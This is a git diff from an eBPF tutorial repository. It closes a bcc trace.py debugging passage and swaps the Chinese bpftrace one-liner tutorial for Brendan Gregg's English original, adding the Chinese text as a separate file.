`__schedule` can be represented as -```c -args->prev_state == TASK_STATE_MAX || args->prev_state == 0 -``` - -The below command can be used to count the involuntary context switches (per process or per pid) and compare to `/proc//status` or `/proc//task//status` for correctness, as in typical cases, involuntary context switches are not very common. -```sh -$ trace.py -p 1134138 't:sched:sched_switch (args->prev_state == TASK_STATE_MAX || args->prev_state == 0)' -PID TID COMM FUNC -1134138 1134140 contention_test sched_switch -1134138 1134142 contention_test sched_switch -... -$ trace.py -L 1134140 't:sched:sched_switch (args->prev_state == TASK_STATE_MAX || args->prev_state == 0)' -PID TID COMM FUNC -1134138 1134140 contention_test sched_switch -1134138 1134140 contention_test sched_switch -... -``` - -##### Example 3 - -This example is related to issue [1231](https://github.com/iovisor/bcc/issues/1231) and [1516](https://github.com/iovisor/bcc/issues/1516) where uprobe does not work at all in certain cases. First, you can do a `strace` as below - -```sh -$ strace trace.py 'r:bash:readline "%s", retval' -... -perf_event_open(0x7ffd968212f0, -1, 0, -1, 0x8 /* PERF_FLAG_??? */) = -1 EIO (Input/output error) -... -``` - -The `perf_event_open` syscall returns `-EIO`. Digging into kernel uprobe related codes in `/kernel/trace` and `/kernel/events` directories to search `EIO`, the function `uprobe_register` is the most suspicious. Let us find whether this function is called or not and what is the return value if it is called. In one terminal using the following command to print out the return value of uprobe_register, -```sh -$ trace.py 'r::uprobe_register "ret = %d", retval' -``` -In another terminal run the same bash uretprobe tracing example, and you should get -```sh -$ trace.py 'r::uprobe_register "ret = %d", retval' -PID TID COMM FUNC - -1041401 1041401 python2.7 uprobe_register ret = -5 -``` - -The `-5` error code is EIO. This confirms that the following code in function `uprobe_register` is the most suspicious culprit. -```c - if (!inode->i_mapping->a_ops->readpage && !shmem_mapping(inode->i_mapping)) - return -EIO; -``` -The `shmem_mapping` function is defined as -```c -bool shmem_mapping(struct address_space *mapping) -{ - return mapping->a_ops == &shmem_aops; -} -``` - -To confirm the theory, find what is `inode->i_mapping->a_ops` with the following command -```sh -$ trace.py -I 'linux/fs.h' 'p::uprobe_register(struct inode *inode) "a_ops = %llx", inode->i_mapping->a_ops' -PID TID COMM FUNC - -814288 814288 python2.7 uprobe_register a_ops = ffffffff81a2adc0 -^C$ grep ffffffff81a2adc0 /proc/kallsyms -ffffffff81a2adc0 R empty_aops -``` - -The kernel symbol `empty_aops` does not have `readpage` defined and hence the above suspicious condition is true. Further examining the kernel source code shows that `overlayfs` does not provide its own `a_ops` while some other file systems (e.g., ext4) define their own `a_ops` (e.g., `ext4_da_aops`), and `ext4_da_aops` defines `readpage`. Hence, uprobe works fine on ext4 while not on overlayfs. - -More [examples](https://github.com/iovisor/bcc/tree/master/tools/trace_example.txt). - -#### 2.2. argdist - -More [examples](https://github.com/iovisor/bcc/tree/master/tools/argdist_example.txt). - -#### 2.3. funccount - -More [examples](https://github.com/iovisor/bcc/tree/master/tools/funccount_example.txt). - -## Networking - -To do. diff --git a/src/bpftrace-tutorial/README.md b/src/bpftrace-tutorial/README.md index 010f5064..e90c5119 100644 --- a/src/bpftrace-tutorial/README.md +++ b/src/bpftrace-tutorial/README.md @@ -1,22 +1,22 @@ -# bpftrace一行教程 +# The bpftrace One-Liner Tutorial -该教程通过12个简单小节帮助你了解bpftrace的使用。每一小节都是一行的命令,你可以尝试运行并立刻看到运行效果。该教程系列用来介绍bpftrace的概念。关于bpftrace的完整参考,见[bpftrace手册](https://github.com/iovisor/bpftrace/blob/master/man/adoc/bpftrace.adoc)。 +This teaches you bpftrace for Linux in 12 easy lessons, where each lesson is a one-liner you can try running. This series of one-liners introduces concepts which are summarized as bullet points. For a full reference to bpftrace, see the [Man page](https://github.com/iovisor/bpftrace/blob/master/docs/../man/adoc/bpftrace.adoc) -该教程贡献者是Brendan Gregg, Netflix (2018), 基于他的FreeBSD DTrace教程系列[DTrace Tutorial](https://wiki.freebsd.org/DTrace/Tutorial)。 +Contributed by Brendan Gregg, Netflix (2018), based on his FreeBSD [DTrace Tutorial](https://wiki.freebsd.org/DTrace/Tutorial). -# 1. 列出所有探针 +# Lesson 1. Listing Probes ``` bpftrace -l 'tracepoint:syscalls:sys_enter_*' ``` -"bpftrace -l" 列出所有探针,并且可以添加搜索项。 +"bpftrace -l" lists all probes, and a search term can be added. -- 探针是用于捕获事件数据的检测点。 -- 搜索词支持通配符,如`*`和`?`。 -- "bpftrace -l" 也可以通过管道传递给grep,进行完整的正则表达式搜索。 +- A probe is an instrumentation point for capturing event data. +- The supplied search term supports wildcards/globs (`*` and `?`) +- "bpftrace -l" can also be piped to grep(1) for full regular expression searching. -# 2. Hello World +# Lesson 2. Hello World ``` # bpftrace -e 'BEGIN { printf("hello world\n"); }' @@ -25,12 +25,12 @@ hello world ^C ``` -打印欢迎消息。运行后, 按Ctrl-C结束。 +This prints a welcome message. Run it, then hit Ctrl-C to end. -- `BEGIN`是一个特殊的探针,在程序开始时触发探针执行(类似awk的BEGIN)。你可以使用它设置变量和打印消息头。 -- 探针可以关联动作,把动作放到{}中。这个例子中,探针被触发时会调用printf()。 +- The word `BEGIN` is a special probe that fires at the start of the program (like awk's BEGIN). You can use it to set variables and print headers. +- An action can be associated with probes, in { }. This example calls printf() when the probe fires. -# 3. 文件打开 +# Lesson 3. File Opens ``` # bpftrace -e 'tracepoint:syscalls:sys_enter_openat { printf("%s %s\n", comm, str(args.filename)); }' @@ -42,15 +42,18 @@ snmpd /proc/net/if_inet6 ^C ``` -这里我们在文件打开的时候打印进程名和文件名。 +This traces file opens as they happen, and we're printing the process name and pathname. -- 该命令以`tracepoint:syscalls:sys_enter_openat`开始: 这是tracepoint探针类型(内核静态跟踪),当进入`openat()`系统调用时执行该探针。相比kprobes探针(内核动态跟踪,在第6节介绍),我们更加喜欢用tracepoints探针,因为tracepoints有稳定的应用程序编程接口。注意:现代linux系统(glibc >= 2.26),`open`总是调用`openat`系统调用。 -- `comm`是内建变量,代表当前进程的名字。其它类似的变量还有pid和tid,分别表示进程标识和线程标识。 -- `args`是一个包含所有tracepoint参数的结构。这个结构是由bpftrace根据tracepoint信息自动生成的。这个结构的成员可以通过命令`bpftrace -vl tracepoint:syscalls:sys_enter_openat`找到。 -- `args.filename`用来获取args的成员变量`filename`的值。 -- `str()`用来把字符串指针转换成字符串。 +- It begins with the probe `tracepoint:syscalls:sys_enter_openat`: this is the tracepoint probe type (kernel static tracing), and is instrumenting when the `openat()` syscall begins (is entered). Tracepoints are preferred over kprobes (kernel dynamic tracing, introduced in lesson 6), since tracepoints have stable API. Note: In modern Linux systems (glibc >= 2.26) the `open` wrapper always calls the `openat` syscall. +- `comm` is a builtin variable that has the current process's name. Other similar builtins include pid and tid. +- `args` is a struct containing all the tracepoint arguments. This +struct is automatically generated by bpftrace based tracepoint information. The +members of this struct can be found with: `bpftrace -vl tracepoint:syscalls:sys_enter_openat`. +- `args.filename` accesses the `args` struct and gets the value of the + `filename` member. +- `str()` turns a pointer into the string it points to. -# 4. 进程级系统调用计数 +# Lesson 4. Syscall Counts By Process ``` bpftrace -e 'tracepoint:raw_syscalls:sys_enter { @[comm] = count(); }' @@ -63,15 +66,15 @@ Attaching 1 probe... @[sshd]: 125 ``` -按Ctrl-C后打印进程的系统调用计数。 +This summarizes syscalls by process name, printing a report on Ctrl-C. -- @: 表示一种特殊的变量类型,称为map,可以以不同的方式来存储和描述数据。你可以在@后添加可选的变量名(如@num),用来增加可读性或者区分不同的map。 -- []: 可选的中括号允许设置map的关键字,比较像关联数组。 -- count(): 这是一个map函数 - 记录被调用次数。因为调用次数根据comm保存在map里,输出结果是进程执行系统调用的次数统计。 +- @: This denotes a special variable type called a map, which can store and summarize data in different ways. You can add an optional variable name after the @, eg "@num", either to improve readability, or to differentiate between more than one map. +- []: The optional brackets allow a key to be set for the map, much like an associative array. +- count(): This is a map function – the way it is populated. count() counts the number of times it is called. Since this is saved by comm, the result is a frequency count of system calls by process name. -Maps会在bpftrace结束(如按Ctrl-C)时自动打印出来。 +Maps are automatically printed when bpftrace ends (eg, via Ctrl-C). -# 5. read()返回值分布统计 +# Lesson 5. Distribution of read() Bytes ``` # bpftrace -e 'tracepoint:syscalls:sys_exit_read /pid == 18644/ { @bytes = hist(args.ret); }' @@ -89,14 +92,15 @@ Attaching 1 probe... [128, 256) 1 |@ ``` -这里统计进程号为18644的进程执行内核函数sys_read()的返回值,并打印出直方图。 -- /.../: 这里设置一个过滤条件(条件判断),满足该过滤条件时才执行{}里面的动作。在这个例子中意思是只追踪进程号为18644的进程。过滤条件表达式也支持布尔运算,如("&&", "||")。 -- ret: 表示函数的返回值。对于sys_read(),它可能是-1(错误)或者成功读取的字节数。 -- @: 类似于上节的map,但是这里没有key,即[]。该map的名称"bytes"会出现在输出中。 -- hist(): 一个map函数,用来描述直方图的参数。输出行以2次方的间隔开始,如`[128, 256)`表示值大于等于128且小于256。后面跟着位于该区间的参数个数统计,最后是ascii码表示的直方图。该图可以用来研究它的模式分布。 -- 其它的map函数还有lhist(线性直方图),count(),sum(),avg(),min()和max()。 +This summarizes the return value of the sys_read() kernel function for PID 18644, printing it as a histogram. -# 6. 内核动态跟踪read()返回的字节数 +- /.../: This is a filter (aka predicate), which acts as a filter for the action. The action is only executed if the filtered expression is true, in this case, only for the process ID 18644. Boolean operators are supported ("&&", "||"). +- ret: This is the return value of the function. For sys_read(), this is either -1 (error) or the number of bytes successfully read. +- @: This is a map similar to the previous lesson, but without any keys ([]) this time, and the name "bytes" which decorates the output. +- hist(): This is a map function which summarizes the argument as a power-of-2 histogram. The output shows rows that begin with interval notation, where, for example `[128, 256)` means that the value is: 128 <= value < 256. The next number is the count of occurrences, and then an ASCII histogram is printed to visualize that count. The histogram can be used to study multi-modal distributions. +- Other map functions include lhist() (linear hist), count(), sum(), avg(), min(), and max(). + +# Lesson 6. Kernel Dynamic Tracing of read() Bytes ``` # bpftrace -e 'kretprobe:vfs_read { @bytes = lhist(retval, 0, 2000, 200); }' @@ -118,12 +122,12 @@ Attaching 1 probe... [2000,...) 39 |@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ | ``` -使用内核动态跟踪技术显示read()返回字节数的直方图。 +Summarize read() bytes as a linear histogram, and traced using kernel dynamic tracing. -- `kretprobe:vfs_read`: 这是kretprobe类型(动态跟踪内核函数返回值)的探针,跟踪`vfs_read`内核函数。此外还有kprobe类型的探针(在下一节介绍)用于跟踪内核函数的调用。它们是功能强大的探针类型,让我们可以跟踪成千上万的内核函数。然而它们是"不稳定"的探针类型:由于它们可以跟踪任意内核函数,对于不同的内核版本,kprobe和kretprobe不一定能够正常工作。因为内核函数名,参数,返回值和作用等可能会变化。此外,由于它们用来跟踪底层内核的,你需要浏览内核源代码,理解这些探针的参数和返回值的意义。 -- lhist(): 线性直方图函数:参数分别是value,最小值,最大值,步进值。第一个参数(`retval`)表示系统调用sys_read()返回值:即成功读取的字节数。 +- It begins with the probe `kretprobe:vfs_read`: this is the kretprobe probe type (kernel dynamic tracing of function returns) instrumenting the `vfs_read()` kernel function. There is also the kprobe probe type (shown in the next lesson), to instrument when functions begin execution (are entered). These are powerful probe types, letting you trace tens of thousands of different kernel functions. However, these are "unstable" probe types: since they can trace any kernel function, there is no guarantee that your kprobe/kretprobe will work between kernel versions, as the function names, arguments, return values, and roles may change. Also, since it is tracing the raw kernel, you'll need to browse the kernel source to understand what these probes, arguments, and return values, mean. +- lhist(): this is a linear histogram, where the arguments are: value, min, max, step. The first argument (`retval`) of vfs_read() is the return value: the number of bytes read. -# 7. read()调用的时间 +# Lesson 7. Timing read()s ``` # bpftrace -e 'kprobe:vfs_read { @start[tid] = nsecs; } kretprobe:vfs_read /@start[tid]/ { @ns[comm] = hist(nsecs - @start[tid]); delete(@start[tid]); }' @@ -154,14 +158,15 @@ Attaching 2 probes... [1M, 2M) 1 | | ``` -根据进程名,以直方图的形式显示read()调用花费的时间,时间单位为纳秒。 +Summarize the time spent in read(), in nanoseconds, as a histogram, by process name. + +- @start[tid]: This uses the thread ID as a key. There may be many reads in-flight, and we want to store a start timestamp to each. How? We could construct a unique identifier for each read, and use that as the key. But because kernel threads can only be executing one syscall at a time, we can use the thread ID as the unique identifier, as each thread cannot be executing more than one. +- nsecs: Nanoseconds since boot. This is a high resolution timestamp counter than can be used to time events. +- /@start[tid]/: This filter checks that the start time was seen and recorded. Without this filter, this program may be launched during a read and only catch the end, resulting in a time calculation of now - zero, instead of now - start. -- @start[tid]: 使用线程ID作为key。某一时刻,可能有许许多多的read调用正在进行,我们希望为每个调用记录一个起始时间戳。这要如何做到呢?我们可以为每个read调用建立一个唯一的标识符,并用它作为key进行统计。由于内核线程一次只能执行一个系统调用,我们可以使用线程ID作为上述标识符。 -- nsecs: 自系统启动到现在的纳秒数。这是一个高精度时间戳,可以用来对事件计时。 -- /@start[tid]/: 该过滤条件检查起始时间戳是否被记录。程序可能在某次read调用中途被启动,如果没有这个过滤条件,这个调用的时间会被统计为now-zero,而不是now-start。 -- delete(@start[tid]): 释放变量。 +- delete(@start[tid]): this frees the variable. -# 8. 统计进程级别的事件 +# Lesson 8. Count Process-Level Events ``` # bpftrace -e 'tracepoint:sched:sched* { @[probe] = count(); } interval:s:5 { exit(); }' @@ -179,14 +184,14 @@ Attaching 25 probes... @[tracepoint:sched:sched_switch]: 510 ``` -这里统计5秒内进程级的事件并打印。 +Count process-level events for five seconds, printing a summary. -- sched: `sched`探针可以探测调度器的高级事件和进程事件如fork, exec和上下文切换。 -- probe: 探针的完整名称。 -- interval:s:5: 这是一个每5秒在每个CPU上触发一次的探针,它用来创建脚本级别的间隔或超时时间。 -- exit(): 退出bpftrace。 +- sched: The `sched` probe category has high-level scheduler and process events, such as fork, exec, and context switch. +- probe: The full name of the probe. +- interval:s:5: This is a probe that fires once every 5 seconds, on one CPU only. It is used for creating script-level intervals or timeouts. +- exit(): This exits bpftrace. -# 9. 分析内核实时函数栈 +# Lesson 9. Profile On-CPU Kernel Stacks ``` # bpftrace -e 'profile:hz:99 { @[kstack] = count(); }' @@ -211,12 +216,12 @@ secondary_startup_64+165 ]: 22122 ``` -以99赫兹的频率分析内核调用栈并打印次数统计。 +Profile kernel stacks at 99 Hertz, printing a frequency count. -- profile:hz:99: 这里所有cpu都以99赫兹的频率采样分析内核栈。为什么是99而不是100或者1000?我们想要抓取足够详细的内核执行时内核栈信息,但是频率太大影响性能。100赫兹足够了,但是我们不想用正好100赫兹,这样采样频率可能与其他定时事件步调一致,所以99赫兹是一个理想的选择。 -- kstack: 返回内核调用栈。这里作为map的关键字,可以跟踪次数。这些输出信息可以使用火焰图可视化。此外`ustack`用来分析用户级堆栈。 +- profile:hz:99: This fires on all CPUs at 99 Hertz. Why 99 and not 100 or 1000? We want frequent enough to catch both the big and small picture of execution, but not too frequent as to perturb performance. 100 Hertz is enough. But we don't want 100 exactly, as sampling may occur in lockstep with other timed activities, hence 99. +- kstack: Returns the kernel stack trace. This is used as a key for the map, so that it can be frequency counted. The output of this is ideal to be visualized as a flame graph. There is also `ustack` for the user-level stack trace. -# 10. 调度器跟踪 +# Lesson 10. Scheduler Tracing ``` # bpftrace -e 'tracepoint:sched:sched_switch { @[kstack] = count(); }' @@ -243,14 +248,14 @@ secondary_startup_64+165 ]: 305 ``` -这里统计进程上下文切换次数。以上输出被截断,只输出了最后两个结果。 +This counts stack traces that led to context switching (off-CPU) events. The above output has been truncated to show the last two only. -- sched: 跟踪调度类别的调度器事件:sched_switch, sched_wakeup, sched_migrate_task等。 -- sched_switch: 当线程释放cpu资源,当前不运行时触发。这里可能的阻塞事件:如等待I/O,定时器,分页/交换,锁等。 -- kstack: 内核堆栈跟踪,打印调用栈。 -- sched_switch在线程切换的时候触发,打印的调用栈是被切换出cpu的那个线程。像你使用其他探针一样,注意这里的上下文,例如comm, pid, kstack等等,并不一定反映了探针的目标的状态。 +- sched: The sched category has tracepoints for different kernel CPU scheduler events: sched_switch, sched_wakeup, sched_migrate_task, etc. +- sched_switch: This probe fires when a thread leaves CPU. This will be a blocking event: eg, waiting on I/O, a timer, paging/swapping, or a lock. +- kstack: A kernel stack trace. +- sched_switch fires in thread context, so that the stack refers to the thread who is leaving. As you use other probe types, pay attention to context, as comm, pid, kstack, etc, may not refer to the target of the probe. -# 11. 块级I/O跟踪 +# Lesson 11. Block I/O Tracing ``` # bpftrace -e 'tracepoint:block:block_rq_issue { @ = hist(args.bytes); }' @@ -279,15 +284,15 @@ Attaching 1 probe... ``` -以上是块I/O请求字节数的直方图。 +Block I/O requests by size in bytes, as a histogram. -- tracepoint:block: 块类别的跟踪点跟踪块级I/O事件。 -- block_rq_issue: 当I/O提交到块设备时触发。 -- args.bytes: 跟踪点block_rq_issue的参数成员bytes,表示提交I/O请求的字节数。 +- tracepoint:block: The block category of tracepoints traces various block I/O (storage) events. +- block_rq_issue: This fires when an I/O is issued to the device. +- args.bytes: This is a member from the tracepoint block_rq_issue arguments which shows the size in bytes. -该探针的上下文是非常重要的: 它在I/O请求被提交给块设备时触发。这通常发生在进程上下文,此时通过内核的comm可以得到进程名;也可能发生在内核上下文,(如readahead),此时不能显示预期的进程号和进程名信息。 +The context of this probe is important: this fires when the I/O is issued to the device. This often happens in process context, where builtins like comm will show you the process name, but it can also happen from kernel context (eg, readahead) when the pid and comm will not show the application you expect. -# 12. 内核结构跟踪 +# Lesson 12. Kernel Struct Tracing ``` # cat path.bt @@ -309,16 +314,15 @@ open path: retrans_time_ms [...] ``` +This uses kernel dynamic tracing of the vfs_open() function, which has a (struct path *) as the first argument. -这里使用内核动态跟踪技术跟踪vfs_read()函数,该函数的(struct path *)作为第一个参数。 - -- kprobe: 如前面所述,这是内核动态跟踪kprobe探针类型,跟踪内核函数的调用(kretprobe探针类型跟踪内核函数返回值)。 -- `arg0` 是一个内建变量,表示探针的第一个参数,其含义由探针类型决定。对于`kprobe`类型探针,它表示函数的第一个参数。其它参数使用arg1,...,argN访问。 -- `((struct path *)arg0)->dentry->d_name.name`: 这里`arg0`作为`struct path *`并引用dentry。 -- #include: 在没有BTF (BPF Type Format) 的情况下,包含必要的path和dentry类型声明的头文件。 +- kprobe: As mentioned earlier, this is the kernel dynamic tracing probe type, which traces the entry of kernel functions (use kretprobe to trace their returns). +- `arg0` is a builtin variable containing the first probe argument, the meaning of which is defined by the probe type. For `kprobe`, it is the first argument to the function. Other arguments can be accessed as arg1, ..., argN. +- `((struct path *)arg0)->dentry->d_name.name`: this casts `arg0` as `struct path *`, then dereferences dentry, etc. +- `#include`: these are necessary to include struct definitions for path and dentry on systems where the kernel was built without BTF (BPF Type Format) data. -bpftrace对内核结构跟踪的支持和bcc是一样的,允许使用内核头文件。这意味着大多数结构是可用的,但是并不是所有的,有时需要手动增加某些结构的声明。例如这个例子,见[dcsnoop tool](https://github.com/iovisor/bpftrace/blob/master/docs/../tools/dcsnoop.bt),包含struct nameidata的声明。倘若内核有提供BTF数据,则所有结构都可用。 +The kernel struct support is the same as bcc, making use of kernel headers. This means that many structs are available, but not everything, and sometimes it might be necessary to manually include a struct. For an example of this, see the [dcsnoop tool](https://github.com/iovisor/bpftrace/blob/master/docs/../tools/dcsnoop.bt), which includes a portion of struct nameidata manually as it wasn't in the available headers. If the kernel has BTF data, all kernel structs are always available. -现在,你已经理解了bpftrace的大部分功能,你可以开始使用和编写强大的一行命令。查阅[参考手册](https://github.com/iovisor/bpftrace/blob/master/docs/reference_guide.md)更多的功能。 +At this point you understand much of bpftrace, and can begin to use and write powerful one-liners. See the [Reference Guide](https://github.com/iovisor/bpftrace/blob/master/docs/reference_guide.md) for more capabilities. -> 原文地址:https://github.com/iovisor/bpftrace/blob/master/docs +> The original tutorial link: https://github.com/iovisor/bpftrace/blob/master/docs/ diff --git a/src/bpftrace-tutorial/README.zh.md b/src/bpftrace-tutorial/README.zh.md new file mode 100644 index 00000000..48754e5d --- /dev/null +++ b/src/bpftrace-tutorial/README.zh.md @@ -0,0 +1,324 @@ +# bpftrace一行教程 + +该教程通过12个简单小节帮助你了解bpftrace的使用。每一小节都是一行的命令,你可以尝试运行并立刻看到运行效果。该教程系列用来介绍bpftrace的概念。关于bpftrace的完整参考,见[bpftrace手册](https://github.com/iovisor/bpftrace/blob/master/man/adoc/bpftrace.adoc)。 + +该教程贡献者是Brendan Gregg, Netflix (2018), 基于他的FreeBSD DTrace教程系列[DTrace Tutorial](https://wiki.freebsd.org/DTrace/Tutorial)。 + +# 1. 列出所有探针 + +``` +bpftrace -l 'tracepoint:syscalls:sys_enter_*' +``` + +"bpftrace -l" 列出所有探针,并且可以添加搜索项。 + +- 探针是用于捕获事件数据的检测点。 +- 搜索词支持通配符,如`*`和`?`。 +- "bpftrace -l" 也可以通过管道传递给grep,进行完整的正则表达式搜索。 + +# 2. Hello World + +``` +# bpftrace -e 'BEGIN { printf("hello world\n"); }' +Attaching 1 probe... +hello world +^C +``` + +打印欢迎消息。运行后, 按Ctrl-C结束。 + +- `BEGIN`是一个特殊的探针,在程序开始时触发探针执行(类似awk的BEGIN)。你可以使用它设置变量和打印消息头。 +- 探针可以关联动作,把动作放到{}中。这个例子中,探针被触发时会调用printf()。 + +# 3. 文件打开 + +``` +# bpftrace -e 'tracepoint:syscalls:sys_enter_openat { printf("%s %s\n", comm, str(args.filename)); }' +Attaching 1 probe... +snmp-pass /proc/cpuinfo +snmp-pass /proc/stat +snmpd /proc/net/dev +snmpd /proc/net/if_inet6 +^C +``` + +这里我们在文件打开的时候打印进程名和文件名。 + +- 该命令以`tracepoint:syscalls:sys_enter_openat`开始: 这是tracepoint探针类型(内核静态跟踪),当进入`openat()`系统调用时执行该探针。相比kprobes探针(内核动态跟踪,在第6节介绍),我们更加喜欢用tracepoints探针,因为tracepoints有稳定的应用程序编程接口。注意:现代linux系统(glibc >= 2.26),`open`总是调用`openat`系统调用。 +- `comm`是内建变量,代表当前进程的名字。其它类似的变量还有pid和tid,分别表示进程标识和线程标识。 +- `args`是一个包含所有tracepoint参数的结构。这个结构是由bpftrace根据tracepoint信息自动生成的。这个结构的成员可以通过命令`bpftrace -vl tracepoint:syscalls:sys_enter_openat`找到。 +- `args.filename`用来获取args的成员变量`filename`的值。 +- `str()`用来把字符串指针转换成字符串。 + +# 4. 进程级系统调用计数 + +``` +bpftrace -e 'tracepoint:raw_syscalls:sys_enter { @[comm] = count(); }' +Attaching 1 probe... +^C + +@[bpftrace]: 6 +@[systemd]: 24 +@[snmp-pass]: 96 +@[sshd]: 125 +``` + +按Ctrl-C后打印进程的系统调用计数。 + +- @: 表示一种特殊的变量类型,称为map,可以以不同的方式来存储和描述数据。你可以在@后添加可选的变量名(如@num),用来增加可读性或者区分不同的map。 +- [] 可选的中括号允许设置map的关键字,比较像关联数组。 +- count(): 这是一个map函数 - 记录被调用次数。因为调用次数根据comm保存在map里,输出结果是进程执行系统调用的次数统计。 + +Maps会在bpftrace结束(如按Ctrl-C)时自动打印出来。 + +# 5. read()返回值分布统计 + +``` +# bpftrace -e 'tracepoint:syscalls:sys_exit_read /pid == 18644/ { @bytes = hist(args.ret); }' +Attaching 1 probe... +^C + +@bytes: +[0, 1] 12 |@@@@@@@@@@@@@@@@@@@@ | +[2, 4) 18 |@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ | +[4, 8) 0 | | +[8, 16) 0 | | +[16, 32) 0 | | +[32, 64) 30 |@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@| +[64, 128) 19 |@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ | +[128, 256) 1 |@ +``` + +这里统计进程号为18644的进程执行内核函数sys_read()的返回值,并打印出直方图。 +- /.../: 这里设置一个过滤条件(条件判断),满足该过滤条件时才执行{}里面的动作。在这个例子中意思是只追踪进程号为18644的进程。过滤条件表达式也支持布尔运算,如("&&", "||")。 +- ret: 表示函数的返回值。对于sys_read(),它可能是-1(错误)或者成功读取的字节数。 +- @: 类似于上节的map,但是这里没有key,即[]。该map的名称"bytes"会出现在输出中。 +- hist(): 一个map函数,用来描述直方图的参数。输出行以2次方的间隔开始,如`[128, 256)`表示值大于等于128且小于256。后面跟着位于该区间的参数个数统计,最后是ascii码表示的直方图。该图可以用来研究它的模式分布。 +- 其它的map函数还有lhist(线性直方图),count(),sum(),avg(),min()和max()。 + +# 6. 内核动态跟踪read()返回的字节数 + +``` +# bpftrace -e 'kretprobe:vfs_read { @bytes = lhist(retval, 0, 2000, 200); }' +Attaching 1 probe... +^C + +@bytes: +(...,0] 0 | | +[0, 200) 66 |@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@| +[200, 400) 2 |@ | +[400, 600) 3 |@@ | +[600, 800) 0 | | +[800, 1000) 5 |@@@ | +[1000, 1200) 0 | | +[1200, 1400) 0 | | +[1400, 1600) 0 | | +[1600, 1800) 0 | | +[1800, 2000) 0 | | +[2000,...) 39 |@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ | +``` + +使用内核动态跟踪技术显示read()返回字节数的直方图。 + +- `kretprobe:vfs_read`: 这是kretprobe类型(动态跟踪内核函数返回值)的探针,跟踪`vfs_read`内核函数。此外还有kprobe类型的探针(在下一节介绍)用于跟踪内核函数的调用。它们是功能强大的探针类型,让我们可以跟踪成千上万的内核函数。然而它们是"不稳定"的探针类型:由于它们可以跟踪任意内核函数,对于不同的内核版本,kprobe和kretprobe不一定能够正常工作。因为内核函数名,参数,返回值和作用等可能会变化。此外,由于它们用来跟踪底层内核的,你需要浏览内核源代码,理解这些探针的参数和返回值的意义。 +- lhist(): 线性直方图函数:参数分别是value,最小值,最大值,步进值。第一个参数(`retval`)表示系统调用sys_read()返回值:即成功读取的字节数。 + +# 7. read()调用的时间 + +``` +# bpftrace -e 'kprobe:vfs_read { @start[tid] = nsecs; } kretprobe:vfs_read /@start[tid]/ { @ns[comm] = hist(nsecs - @start[tid]); delete(@start[tid]); }' +Attaching 2 probes... + +[...] +@ns[snmp-pass]: +[0, 1] 0 | | +[2, 4) 0 | | +[4, 8) 0 | | +[8, 16) 0 | | +[16, 32) 0 | | +[32, 64) 0 | | +[64, 128) 0 | | +[128, 256) 0 | | +[256, 512) 27 |@@@@@@@@@ | +[512, 1k) 125 |@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ | +[1k, 2k) 22 |@@@@@@@ | +[2k, 4k) 1 | | +[4k, 8k) 10 |@@@ | +[8k, 16k) 1 | | +[16k, 32k) 3 |@ | +[32k, 64k) 144 |@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@| +[64k, 128k) 7 |@@ | +[128k, 256k) 28 |@@@@@@@@@@ | +[256k, 512k) 2 | | +[512k, 1M) 3 |@ | +[1M, 2M) 1 | | +``` + +根据进程名,以直方图的形式显示read()调用花费的时间,时间单位为纳秒。 + +- @start[tid]: 使用线程ID作为key。某一时刻,可能有许许多多的read调用正在进行,我们希望为每个调用记录一个起始时间戳。这要如何做到呢?我们可以为每个read调用建立一个唯一的标识符,并用它作为key进行统计。由于内核线程一次只能执行一个系统调用,我们可以使用线程ID作为上述标识符。 +- nsecs: 自系统启动到现在的纳秒数。这是一个高精度时间戳,可以用来对事件计时。 +- /@start[tid]/: 该过滤条件检查起始时间戳是否被记录。程序可能在某次read调用中途被启动,如果没有这个过滤条件,这个调用的时间会被统计为now-zero,而不是now-start。 +- delete(@start[tid]): 释放变量。 + +# 8. 统计进程级别的事件 + +``` +# bpftrace -e 'tracepoint:sched:sched* { @[probe] = count(); } interval:s:5 { exit(); }' +Attaching 25 probes... +@[tracepoint:sched:sched_wakeup_new]: 1 +@[tracepoint:sched:sched_process_fork]: 1 +@[tracepoint:sched:sched_process_exec]: 1 +@[tracepoint:sched:sched_process_exit]: 1 +@[tracepoint:sched:sched_process_free]: 2 +@[tracepoint:sched:sched_process_wait]: 7 +@[tracepoint:sched:sched_wake_idle_without_ipi]: 53 +@[tracepoint:sched:sched_stat_runtime]: 212 +@[tracepoint:sched:sched_wakeup]: 253 +@[tracepoint:sched:sched_waking]: 253 +@[tracepoint:sched:sched_switch]: 510 +``` + +这里统计5秒内进程级的事件并打印。 + +- sched: `sched`探针可以探测调度器的高级事件和进程事件如fork, exec和上下文切换。 +- probe: 探针的完整名称。 +- interval:s:5: 这是一个每5秒在每个CPU上触发一次的探针,它用来创建脚本级别的间隔或超时时间。 +- exit(): 退出bpftrace。 + +# 9. 分析内核实时函数栈 + +``` +# bpftrace -e 'profile:hz:99 { @[kstack] = count(); }' +Attaching 1 probe... +^C + +[...] +@[ +filemap_map_pages+181 +__handle_mm_fault+2905 +handle_mm_fault+250 +__do_page_fault+599 +async_page_fault+69 +]: 12 +[...] +@[ +cpuidle_enter_state+164 +do_idle+390 +cpu_startup_entry+111 +start_secondary+423 +secondary_startup_64+165 +]: 22122 +``` + +以99赫兹的频率分析内核调用栈并打印次数统计。 + +- profile:hz:99: 这里所有cpu都以99赫兹的频率采样分析内核栈。为什么是99而不是100或者1000?我们想要抓取足够详细的内核执行时内核栈信息,但是频率太大影响性能。100赫兹足够了,但是我们不想用正好100赫兹,这样采样频率可能与其他定时事件步调一致,所以99赫兹是一个理想的选择。 +- kstack: 返回内核调用栈。这里作为map的关键字,可以跟踪次数。这些输出信息可以使用火焰图可视化。此外`ustack`用来分析用户级堆栈。 + +# 10. 调度器跟踪 + +``` +# bpftrace -e 'tracepoint:sched:sched_switch { @[kstack] = count(); }' +^C +[...] + +@[ +__schedule+697 +__schedule+697 +schedule+50 +schedule_timeout+365 +xfsaild+274 +kthread+248 +ret_from_fork+53 +]: 73 +@[ +__schedule+697 +__schedule+697 +schedule_idle+40 +do_idle+356 +cpu_startup_entry+111 +start_secondary+423 +secondary_startup_64+165 +]: 305 +``` 